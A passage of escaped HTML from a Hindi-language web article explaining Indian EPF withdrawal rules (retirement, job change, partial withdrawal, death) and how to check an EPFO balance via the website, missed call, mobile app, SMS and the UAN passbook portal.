id=\"%E0%A4%B0%E0%A4%BF%E0%A4%9F%E0%A4%BE%E0%A4%AF%E0%A4%B0%E0%A4%AE%E0%A5%87%E0%A4%82%E0%A4%9F_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_After_retirement\"><\/span><strong>\u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 (After retirement)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u091c\u092c \u0906\u092a \u0930\u093f\u091f\u093e\u092f\u0930 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u0906\u092a \u0905\u092a\u0928\u0947 EPF \u0916\u093e\u0924\u0947 \u0938\u0947 \u092a\u0942\u0930\u0940 \u0930\u093e\u0936\u093f \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902, \u091c\u093f\u0938\u092e\u0947\u0902 \u0906\u092a\u0915\u0940 \u0914\u0930 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0915\u0940 \u091c\u092e\u093e \u0930\u0915\u092e, \u0938\u093e\u0925 \u0939\u0940 \u0909\u0938 \u092a\u0930 \u092a\u094d\u0930\u093e\u092a\u094d\u0924 \u092c\u094d\u092f\u093e\u091c \u092d\u0940 \u0936\u093e\u092e\u093f\u0932 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u092f\u0939 \u0930\u093e\u0936\u093f \u090f\u0915\u092e\u0941\u0936\u094d\u0924 (Lump Sum) \u0926\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%A8%E0%A5%8C%E0%A4%95%E0%A4%B0%E0%A5%80_%E0%A4%AC%E0%A4%A6%E0%A4%B2%E0%A4%A8%E0%A5%87_%E0%A4%AA%E0%A4%B0_On_changing_jobs\"><\/span><strong>\u0928\u094c\u0915\u0930\u0940 \u092c\u0926\u0932\u0928\u0947 \u092a\u0930 (On changing jobs)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0905\u0917\u0930 \u0906\u092a \u0928\u094c\u0915\u0930\u0940 \u092c\u0926\u0932\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u0906\u092a \u0905\u092a\u0928\u093e EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u092a\u0941\u0930\u093e\u0928\u0947 \u0916\u093e\u0924\u0947 \u0938\u0947 \u0928\u090f \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091f\u094d\u0930\u093e\u0902\u0938\u092b\u0930 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u0938\u0947 \u0906\u092a\u0915\u0940 \u092c\u091a\u0924 \u092c\u0928\u0940 \u0930\u0939\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0906\u092a\u0915\u094b \u092a\u0948\u0938\u093e \u0928\u093f\u0915\u093e\u0932\u0928\u0947 \u0915\u0940 \u091c\u0930\u0942\u0930\u0924 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u0940\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%86%E0%A4%82%E0%A4%B6%E0%A4%BF%E0%A4%95_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B8%E0%A5%80_Partial_Withdrawal\"><\/span><strong>\u0906\u0902\u0936\u093f\u0915 \u0928\u093f\u0915\u093e\u0938\u0940 (Partial Withdrawal)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0915\u0941\u091b \u092e\u093e\u092e\u0932\u094b\u0902 \u092e\u0947\u0902, \u0906\u092a EPF \u0938\u0947 \u0906\u0902\u0936\u093f\u0915 \u0930\u093e\u0936\u093f (EPF Partial Withdrawal) \u092d\u0940 \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u091c\u0948\u0938\u0947:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u0918\u0930<\/strong><strong> <\/strong><strong>\u0916\u0930\u0940\u0926\u0928\u0947<\/strong><strong> <\/strong><strong>\u092f\u093e<\/strong><strong> <\/strong><strong>\u0928\u093f\u0930\u094d\u092e\u093e\u0923<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u0932\u093f\u090f<\/strong><\/li>\n\n\n\n<li><strong>\u091a\u093f\u0915\u093f\u0924\u094d\u0938\u093e<\/strong><strong> <\/strong><strong>\u0916\u0930\u094d\u091a\u094b\u0902<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u0932\u093f\u090f<\/strong><\/li>\n\n\n\n<li><strong>\u0936\u093e\u0926\u0940<\/strong><strong> <\/strong><strong>\u092f\u093e<\/strong><strong> <\/strong><strong>\u0936\u093f\u0915\u094d\u0937\u093e<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u0932\u093f\u090f<\/strong><\/li>\n<\/ul>\n\n\n\n<p>\u0906\u0902\u0936\u093f\u0915 \u0928\u093f\u0915\u093e\u0938\u0940 (EPF Partial Withdrawal) \u0915\u0947 \u0932\u093f\u090f \u0915\u0941\u091b \u0936\u0930\u094d\u0924\u0947\u0902 \u0939\u094b\u0924\u0940 \u0939\u0948\u0902, \u091c\u0948\u0938\u0947 \u0915\u093f \u0906\u092a\u0915\u094b \u0915\u092e \u0938\u0947 \u0915\u092e 5 \u0938\u093e\u0932 \u0924\u0915 \u0928\u094c\u0915\u0930\u0940 \u0915\u0930\u0928\u0940 \u091a\u093e\u0939\u093f\u090f \u0914\u0930 \u0906\u092a\u0915\u094b \u0928\u093f\u0915\u093e\u0938\u0940 \u0915\u0947 \u0932\u093f\u090f \u0938\u0939\u0940 \u0926\u0938\u094d\u0924\u093e\u0935\u0947\u091c\u093c\u0940 \u092a\u094d\u0930\u092e\u093e\u0923 (Correct documentary proof ) \u092a\u094d\u0930\u0938\u094d\u0924\u0941\u0924 \u0915\u0930\u0928\u0947 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AE%E0%A5%83%E0%A4%A4%E0%A5%8D%E0%A4%AF%E0%A5%81_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_After_death\"><\/span><strong>\u092e\u0943\u0924\u094d\u092f\u0941 \u0915\u0947 \u092c\u093e\u0926 (After death)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0905\u0917\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0940 \u092e\u0943\u0924\u094d\u092f\u0941 \u0939\u094b \u091c\u093e\u0924\u0940 \u0939\u0948, \u0924\u094b \u0909\u0938\u0915\u093e EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u0947 \u0938\u0926\u0938\u094d\u092f \u0915\u094b \u0926\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u092e\u0947\u0902 EPF \u091c\u092e\u093e \u0930\u093e\u0936\u093f, \u092c\u094d\u092f\u093e\u091c, \u0914\u0930 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e \u0915\u0947 \u0905\u0902\u0924\u0930\u094d\u0917\u0924 \u0932\u093e\u092d \u0936\u093e\u092e\u093f\u0932 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<p>EPFO \u0938\u0947 \u0906\u092a \u0905\u092a\u0928\u0940 \u0906\u0935\u0936\u094d\u092f\u0915\u0924\u093e \u0914\u0930 \u0938\u094d\u0925\u093f\u0924\u093f \u0915\u0947 \u0906\u0927\u093e\u0930 \u092a\u0930 \u092a\u0942\u0930\u0940 \u092f\u093e \u0906\u0902\u0936\u093f\u0915 \u0930\u093e\u0936\u093f \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902, \u0932\u0947\u0915\u093f\u0928 \u0907\u0938\u0915\u0947 \u0932\u093f\u090f \u0915\u0941\u091b \u0928\u093f\u092f\u092e \u0914\u0930 \u0936\u0930\u094d\u0924\u0947\u0902 \u0939\u094b\u0924\u0940 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%88%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB%E0%A4%93_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%95%E0%A5%88%E0%A4%B8%E0%A5%87_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82_How_to_check_EPFO_%E2%80%8B%E2%80%8Bbalance\"><\/span><strong>\u0908\u092a\u0940\u090f\u092b\u0913 <\/strong><strong>\u092c\u0948\u0932\u0947\u0902\u0938 <\/strong><strong>\u0915\u0948\u0938\u0947 <\/strong><strong>\u091a\u0947\u0915 <\/strong><strong>\u0915\u0930\u0947\u0902 (How to check EPFO \u200b\u200bbalance)?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u0908\u092a\u0940\u090f\u092b (Employees&#8217; Provident Fund) \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930\u0928\u093e \u0905\u092c \u092a\u0939\u0932\u0947 \u0938\u0947 \u0915\u0939\u0940\u0902 \u091c\u094d\u092f\u093e\u0926\u093e \u0906\u0938\u093e\u0928 \u0939\u094b \u0917\u092f\u093e \u0939\u0948\u0964 EPFO \u0928\u0947 \u0915\u0908 \u0911\u0928\u0932\u093e\u0907\u0928 \u0914\u0930 \u0911\u092b\u0932\u093e\u0907\u0928 \u0938\u0941\u0935\u093f\u0927\u093e\u090f\u0902 \u092a\u094d\u0930\u0926\u093e\u0928 \u0915\u0940 \u0939\u0948\u0902, \u091c\u093f\u0938\u0938\u0947 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0905\u092a\u0928\u0940 EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u0906\u0938\u093e\u0928\u0940 \u0938\u0947 \u091a\u0947\u0915 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u092f\u0939\u093e\u0902 \u092a\u0930 \u0939\u092e \u0935\u093f\u0938\u094d\u0924\u093e\u0930 \u0938\u0947 \u0926\u0947\u0916\u0947\u0902\u0917\u0947 \u0915\u093f \u0908\u092a\u0940\u090f\u092b\u0913 \u092c\u0948\u0932\u0947\u0902\u0938 \u0915\u0948\u0938\u0947 \u091a\u0947\u0915 \u0915\u0930\u0947\u0902:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPFO_%E0%A4%95%E0%A5%80_%E0%A4%B5%E0%A5%87%E0%A4%AC%E0%A4%B8%E0%A4%BE%E0%A4%87%E0%A4%9F_%E0%A4%B8%E0%A5%87_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\"><\/span><strong>EPFO <\/strong><strong>\u0915\u0940<\/strong><strong> <\/strong><strong>\u0935\u0947\u092c\u0938\u093e\u0907\u091f<\/strong><strong> <\/strong><strong>\u0938\u0947<\/strong><strong> <\/strong><strong>\u092c\u0948\u0932\u0947\u0902\u0938<\/strong><strong> <\/strong><strong>\u091a\u0947\u0915<\/strong><strong> <\/strong><strong>\u0915\u0930\u0947\u0902<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0906\u092a <strong>EPFO<\/strong> \u0915\u0940 \u0906\u0927\u093f\u0915\u093e\u0930\u093f\u0915 \u0935\u0947\u092c\u0938\u093e\u0907\u091f \u092a\u0930 \u091c\u093e\u0915\u0930 \u0905\u092a\u0928\u093e \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u0915\u0947 \u0932\u093f\u090f \u0928\u093f\u092e\u094d\u0928\u0932\u093f\u0916\u093f\u0924 \u0915\u0926\u092e \u0909\u0920\u093e\u090f\u0902:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>EPFO <\/strong><strong>\u0915\u0940<\/strong><strong> <\/strong><strong>\u0935\u0947\u092c\u0938\u093e\u0907\u091f<\/strong><strong> <\/strong><strong>\u092a\u0930<\/strong><strong> <\/strong><strong>\u091c\u093e\u090f\u0902<\/strong><strong>:<\/strong> <a href=\"https:\/\/www.epfindia.gov.in\">https:\/\/www.epfindia.gov.in<\/a><\/li>\n\n\n\n<li><strong>&#8220;Member Passbook&#8221;<\/strong> \u0935\u093f\u0915\u0932\u094d\u092a \u092a\u0930 \u0915\u094d\u0932\u093f\u0915 \u0915\u0930\u0947\u0902, \u091c\u094b EPFO \u0915\u0940 \u0935\u0947\u092c\u0938\u093e\u0907\u091f \u092a\u0930 \u0932\u0949\u0917\u093f\u0928 \u0938\u0947\u0915\u094d\u0936\u0928 \u092e\u0947\u0902 \u092e\u093f\u0932\u0947\u0917\u093e\u0964<\/li>\n\n\n\n<li>\u0905\u092c, <strong>UAN (Universal Account Number)<\/strong> \u0914\u0930 <strong>\u092a\u093e\u0938\u0935\u0930\u094d\u0921<\/strong> \u0938\u0947 \u0932\u0949\u0917\u093f\u0928 \u0915\u0930\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u090f\u0915 \u092c\u093e\u0930 \u0932\u0949\u0917\u093f\u0928 \u0915\u0930\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926, \u0906\u092a\u0915\u094b <strong>Passbook<\/strong> \u0915\u093e \u0911\u092a\u094d\u0936\u0928 \u0926\u093f\u0916\u093e\u0908 \u0926\u0947\u0917\u093e\u0964<\/li>\n\n\n\n<li><strong>Passbook<\/strong> \u092a\u0930 \u0915\u094d\u0932\u093f\u0915 \u0915\u0930\u0947\u0902 \u0914\u0930 \u0906\u092a \u0905\u092a\u0928\u0947 EPF \u0916\u093e\u0924\u0947 \u0915\u093e \u092c\u0948\u0932\u0947\u0902\u0938 \u0926\u0947\u0916 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPFO_%E0%A4%AE%E0%A4%BF%E0%A4%B8%E0%A5%8D%E0%A4%A1_%E0%A4%95%E0%A5%89%E0%A4%B2_%E0%A4%B8%E0%A4%B0%E0%A5%8D%E0%A4%B5%E0%A4%BF%E0%A4%B8_%E0%A4%B8%E0%A5%87_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\"><\/span><strong>EPFO <\/strong><strong>\u092e\u093f\u0938\u094d\u0921 <\/strong><strong>\u0915\u0949\u0932 <\/strong><strong>\u0938\u0930\u094d\u0935\u093f\u0938 <\/strong><strong>\u0938\u0947 <\/strong><strong>\u092c\u0948\u0932\u0947\u0902\u0938 <\/strong><strong>\u091a\u0947\u0915 <\/strong><strong>\u0915\u0930\u0947\u0902<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u0928\u0947 \u0905\u092a\u0928\u0947 \u0909\u092a\u092f\u094b\u0917\u0915\u0930\u094d\u0924\u093e\u0913\u0902 \u0915\u0947 \u0932\u093f\u090f \u090f\u0915 <strong>\u092e\u093f\u0938\u094d\u0921<\/strong><strong> <\/strong><strong>\u0915\u0949\u0932<\/strong><strong> <\/strong><strong>\u0938\u0930\u094d\u0935\u093f\u0938<\/strong> \u092d\u0940 \u0936\u0941\u0930\u0942 \u0915\u0940 \u0939\u0948\u0964 \u092f\u0939 \u0938\u0930\u094d\u0935\u093f\u0938 \u092c\u0939\u0941\u0924 \u0939\u0940 \u0938\u0930\u0932 \u0914\u0930 \u0924\u0947\u091c \u0939\u0948, \u0914\u0930 \u0907\u0938\u092e\u0947\u0902 \u0906\u092a\u0915\u094b \u0915\u093f\u0938\u0940 \u092d\u0940 \u0907\u0902\u091f\u0930\u0928\u0947\u091f \u0915\u0940 \u091c\u0930\u0942\u0930\u0924 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u0940\u0964 \u0907\u0938\u0947 \u0907\u0938\u094d\u0924\u0947\u092e\u093e\u0932 \u0915\u0930\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>\u0938\u092c\u0938\u0947 \u092a\u0939\u0932\u0947 \u092f\u0939 \u0938\u0941\u0928\u093f\u0936\u094d\u091a\u093f\u0924 \u0915\u0930\u0947\u0902 \u0915\u093f \u0906\u092a\u0915\u093e <strong>UAN (Universal Account Number)<\/strong> \u0906\u092a\u0915\u0947 EPFO \u0916\u093e\u0924\u0947 \u0938\u0947 \u0932\u093f\u0902\u0915 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u092b\u093f\u0930 \u0905\u092a\u0928\u0947 \u092a\u0902\u091c\u0940\u0915\u0943\u0924 \u092e\u094b\u092c\u093e\u0907\u0932 \u0928\u0902\u092c\u0930 \u0938\u0947 <strong>011-22901406<\/strong> \u0928\u0902\u092c\u0930 \u092a\u0930 \u092e\u093f\u0938\u094d\u0921 \u0915\u0949\u0932 \u0915\u0930\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0915\u0949\u0932 \u0915\u0930\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926, \u0906\u092a\u0915\u094b \u090f\u0915 SMS \u092e\u093f\u0932\u0947\u0917\u093e \u091c\u093f\u0938\u092e\u0947\u0902 \u0906\u092a\u0915\u0947 EPF \u0916\u093e\u0924\u0947 \u0915\u093e \u092c\u0948\u0932\u0947\u0902\u0938 \u0914\u0930 \u0905\u0928\u094d\u092f \u092e\u0939\u0924\u094d\u0935\u092a\u0942\u0930\u094d\u0923 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u0926\u0940 \u091c\u093e\u090f\u0917\u0940\u0964<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPFO_%E0%A4%AE%E0%A5%8B%E0%A4%AC%E0%A4%BE%E0%A4%87%E0%A4%B2_%E0%A4%90%E0%A4%AA_%E0%A4%B8%E0%A5%87_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\"><\/span><strong>EPFO <\/strong><strong>\u092e\u094b\u092c\u093e\u0907\u0932 <\/strong><strong>\u0910\u092a <\/strong><strong>\u0938\u0947 <\/strong><strong>\u092c\u0948\u0932\u0947\u0902\u0938 <\/strong><strong>\u091a\u0947\u0915 <\/strong><strong>\u0915\u0930\u0947\u0902<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u0928\u0947 \u090f\u0915 <strong>\u092e\u0942\u0932<\/strong><strong> EPFO Mobile App<\/strong> \u0932\u0949\u0928\u094d\u091a \u0915\u093f\u092f\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0906\u092a \u0905\u092a\u0928\u0940 EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u092f\u0939 \u0910\u092a Android \u0914\u0930 iOS \u0926\u094b\u0928\u094b\u0902 \u092a\u094d\u0932\u0947\u091f\u092b\u093e\u0930\u094d\u092e\u094d\u0938 \u092a\u0930 \u0909\u092a\u0932\u092c\u094d\u0927 \u0939\u0948\u0964 \u0907\u0938\u0947 \u0921\u093e\u0909\u0928\u0932\u094b\u0921 \u0915\u0930\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>Google Play Store<\/strong> (Android) \u092f\u093e <strong>Apple App Store<\/strong> (iOS) \u0938\u0947 EPFO \u0910\u092a \u0921\u093e\u0909\u0928\u0932\u094b\u0921 \u0915\u0930\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0910\u092a \u0916\u094b\u0932\u0947\u0902 \u0914\u0930 <strong>UAN (Universal Account Number)<\/strong> \u0914\u0930 <strong>Password<\/strong> \u0915\u0947 \u0938\u093e\u0925 \u0932\u0949\u0917\u093f\u0928 \u0915\u0930\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0932\u0949\u0917\u093f\u0928 \u0915\u0930\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926, \u0906\u092a\u0915\u094b EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u0926\u0947\u0916\u0928\u0947 \u0915\u093e \u0935\u093f\u0915\u0932\u094d\u092a \u092e\u093f\u0932 \u091c\u093e\u090f\u0917\u093e\u0964<\/li>\n\n\n\n<li>\u0906\u092a \u0907\u0938 \u0910\u092a \u0915\u0947 \u092e\u093e\u0927\u094d\u092f\u092e \u0938\u0947 \u0905\u092a\u0928\u093e <strong>EPF Passbook<\/strong>, <strong>Claim Status<\/strong>, \u0914\u0930 \u0905\u0928\u094d\u092f EPF \u0938\u0947 \u091c\u0941\u0921\u093c\u0940 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u092d\u0940 \u0926\u0947\u0916 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"SMS_%E0%A4%95%E0%A5%87_%E0%A4%A6%E0%A5%8D%E0%A4%B5%E0%A4%BE%E0%A4%B0%E0%A4%BE_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\"><\/span><strong>SMS <\/strong><strong>\u0915\u0947 <\/strong><strong>\u0926\u094d\u0935\u093e\u0930\u093e <\/strong><strong>\u092c\u0948\u0932\u0947\u0902\u0938 <\/strong><strong>\u091a\u0947\u0915 <\/strong><strong>\u0915\u0930\u0947\u0902<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u0928\u0947 \u090f\u0915 \u0914\u0930 \u0938\u0941\u0935\u093f\u0927\u093e \u0926\u0940 \u0939\u0948, \u091c\u093f\u0938\u092e\u0947\u0902 \u0906\u092a \u0905\u092a\u0928\u0947 \u092a\u0902\u091c\u0940\u0915\u0943\u0924 \u092e\u094b\u092c\u093e\u0907\u0932 \u0928\u0902\u092c\u0930 \u0938\u0947 SMS \u092d\u0947\u091c\u0915\u0930 EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u091c\u093e\u0928 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u0915\u0947 \u0932\u093f\u090f \u0906\u092a\u0915\u094b <strong>UAN<\/strong> (Universal Account Number) \u0914\u0930 \u0930\u091c\u093f\u0938\u094d\u091f\u0930\u094d\u0921 \u092e\u094b\u092c\u093e\u0907\u0932 \u0928\u0902\u092c\u0930 \u0915\u093e \u0939\u094b\u0928\u093e \u091c\u0930\u0942\u0930\u0940 \u0939\u0948\u0964 SMS \u0926\u094d\u0935\u093e\u0930\u093e \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>\u0905\u092a\u0928\u0947 \u092a\u0902\u091c\u0940\u0915\u0943\u0924 \u092e\u094b\u092c\u093e\u0907\u0932 \u0928\u0902\u092c\u0930 \u0938\u0947 <strong>\u201cEPFOHO UAN ENG\u201d<\/strong> (\u092f\u0939\u093e\u0902 &#8220;ENG&#8221; \u0907\u0902\u0917\u094d\u0932\u093f\u0936 \u0915\u0947 \u0932\u093f\u090f \u0939\u0948, \u092f\u0926\u093f \u0906\u092a \u0939\u093f\u0902\u0926\u0940 \u092e\u0947\u0902 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902 \u0924\u094b <strong>&#8220;EPFOHO UAN HIN&#8221;<\/strong> \u0932\u093f\u0916\u0947\u0902) \u0932\u093f\u0916\u0915\u0930 7738299899 \u0928\u0902\u092c\u0930 \u092a\u0930 \u092d\u0947\u091c\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0915\u0941\u091b \u0939\u0940 \u092e\u093f\u0928\u091f\u094b\u0902 \u092e\u0947\u0902 \u0906\u092a\u0915\u094b \u090f\u0915 SMS \u092e\u093f\u0932\u0947\u0917\u093e \u091c\u093f\u0938\u092e\u0947\u0902 \u0906\u092a\u0915\u0947 EPF \u0916\u093e\u0924\u0947 \u0915\u093e \u092c\u0948\u0932\u0947\u0902\u0938 \u0914\u0930 \u0905\u0928\u094d\u092f \u0938\u0902\u092c\u0902\u0927\u093f\u0924 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u0926\u0940 \u091c\u093e\u090f\u0917\u0940\u0964<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%91%E0%A4%A8%E0%A4%B2%E0%A4%BE%E0%A4%87%E0%A4%A8_EPF_%E0%A4%AA%E0%A4%BE%E0%A4%B8%E0%A4%AC%E0%A5%81%E0%A4%95_%E0%A4%B8%E0%A5%87_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\"><\/span><strong>\u0911\u0928\u0932\u093e\u0907\u0928 EPF <\/strong><strong>\u092a\u093e\u0938\u092c\u0941\u0915 <\/strong><strong>\u0938\u0947 <\/strong><strong>\u092c\u0948\u0932\u0947\u0902\u0938 <\/strong><strong>\u091a\u0947\u0915 <\/strong><strong>\u0915\u0930\u0947\u0902<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u0906\u092a \u0905\u092a\u0928\u0947 EPF \u0916\u093e\u0924\u0947 \u0915\u093e \u092c\u0948\u0932\u0947\u0902\u0938 \u0926\u0947\u0916\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f EPFO \u0915\u0940 <strong>e-passbook<\/strong> \u0938\u0941\u0935\u093f\u0927\u093e \u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u092d\u0940 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u0915\u0947 \u0932\u093f\u090f:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>UAN <\/strong><strong>\u092a\u094b\u0930\u094d\u091f\u0932<\/strong> \u092a\u0930 \u091c\u093e\u090f\u0902: https:\/\/unifiedportal-mem.epfindia.gov.in<\/li>\n\n\n\n<li>\u0905\u092a\u0928\u0947 <strong>UAN <\/strong><strong>\u0914\u0930<\/strong><strong> <\/strong><strong>\u092a\u093e\u0938\u0935\u0930\u094d\u0921<\/strong> \u0938\u0947 \u0932\u0949\u0917\u093f\u0928 \u0915\u0930\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0932\u0949\u0917\u093f\u0928 \u0915\u0930\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926, <strong>EPF Passbook<\/strong> \u0911\u092a\u094d\u0936\u0928 \u092a\u0930 \u0915\u094d\u0932\u093f\u0915 \u0915\u0930\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u092f\u0939\u093e\u0902 \u092a\u0930 \u0906\u092a\u0915\u094b EPF \u0915\u0947 \u092c\u0948\u0932\u0947\u0902\u0938 \u0915\u0940 \u092a\u0942\u0930\u0940 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u0926\u0947\u0916\u0928\u0947 \u0915\u094b \u092e\u093f\u0932 \u091c\u093e\u090f\u0917\u0940, \u091c\u093f\u0938\u092e\u0947\u0902 \u0906\u092a\u0915\u0947 \u0926\u094d\u0935\u093e\u0930\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0940 \u0917\u0908 \u0930\u093e\u0936\u093f, \u092c\u094d\u092f\u093e\u091c \u0914\u0930 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u092d\u0940 \u0926\u093f\u0916\u0947\u0917\u093e\u0964<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" 